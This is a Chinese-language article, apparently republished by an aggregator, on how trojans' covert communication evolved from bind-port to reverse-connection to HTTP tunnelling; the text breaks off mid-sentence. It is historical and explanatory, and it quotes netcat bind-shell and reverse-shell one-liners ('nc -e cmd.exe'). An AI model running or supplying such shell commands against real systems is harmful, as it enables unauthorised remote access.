本文主要是介绍匿名信使:木马隐蔽通信浅谈,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文|lake2
前言
这是前文《网络层绕过IDS/IPS的一些探索》[1]的延续,当时就想可以用四层以下的协议实现木马通信绕过各类IDS/IPS的检测,一直没有找到时间测试,正好这次攻防演练值守期间有了机会。
标题之所以用“匿名信使”,是因为很久以前有一款利用Windows下net send自动化批量发送消息的软件叫做匿名信使——当年net send发送的匿名消息在Windows2000/XP下大行其道,现在发现居然这个命令都不存在了(Vista以后已经被msg命令替代),致敬作者和那个时代。
木马常用通信协议对抗进化
1. 第一代木马
国内第一代木马是什么?必须是国内最早最权威的安全社区xfocus团队成员glacier出品的冰河。
冰河的界面,是不是跟XScan很像,因为是同一个作者。
图源网络
冰河会开放主机的TCP 7626端口等待服务端控制。这是第一代木马被动通信模式:开放端口(主要是TCP端口,当然也可以用UDP),类似使用nc -l -p 7626 -e cmd.exe 。
开端口这个方式的弊端就是要在主机开放端口,netstat命令或者主机防火墙很容易就发现开了个端口,同时如果被控端在内网或者有防火墙就没有办法连上。
2. 第二代木马
于是就很快进化出第二代木马主动通信模式(反向连接,典型代表是葛军的灰鸽子):不开端口,由木马反向去连接服务端,nc -e cmd.exe IP 8000,这个模式较之上一代优势很明显,被控端在内部网络也能穿透防火墙或NAT,当年防火墙对出站检查比较松,特别是端口使用TCP 80,让防火墙以为是在浏览网页,颇具迷惑性。
灰鸽子界面,图源百度
但是很快安全系统的策略也跟上了,因为这个模式要产生一条TCP出站通信,基于主机的安全软件可以实时拦截进程的网络行为(还记得天网防火墙吗)。
曾经风靡一时的天网防火墙。
图源网络
3. 第三代木马
第三代木马通信开始使用常见应用层协议迷惑防火墙(灰鸽子会在Windows下以DLL形式注入浏览器进程,通信协议也伪装成了HTTP还直接调用浏览器里设置的代理),常见的方法就是使用HTTPTunnel把TCP协议转成HTTP协议,绕过防火墙。
HTTP协议穿过防火墙/HTTP代理。
图源http-tunnel
后来随着业务形态的发展,还真的有了使用HT
这篇关于匿名信使:木马隐蔽通信浅谈的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!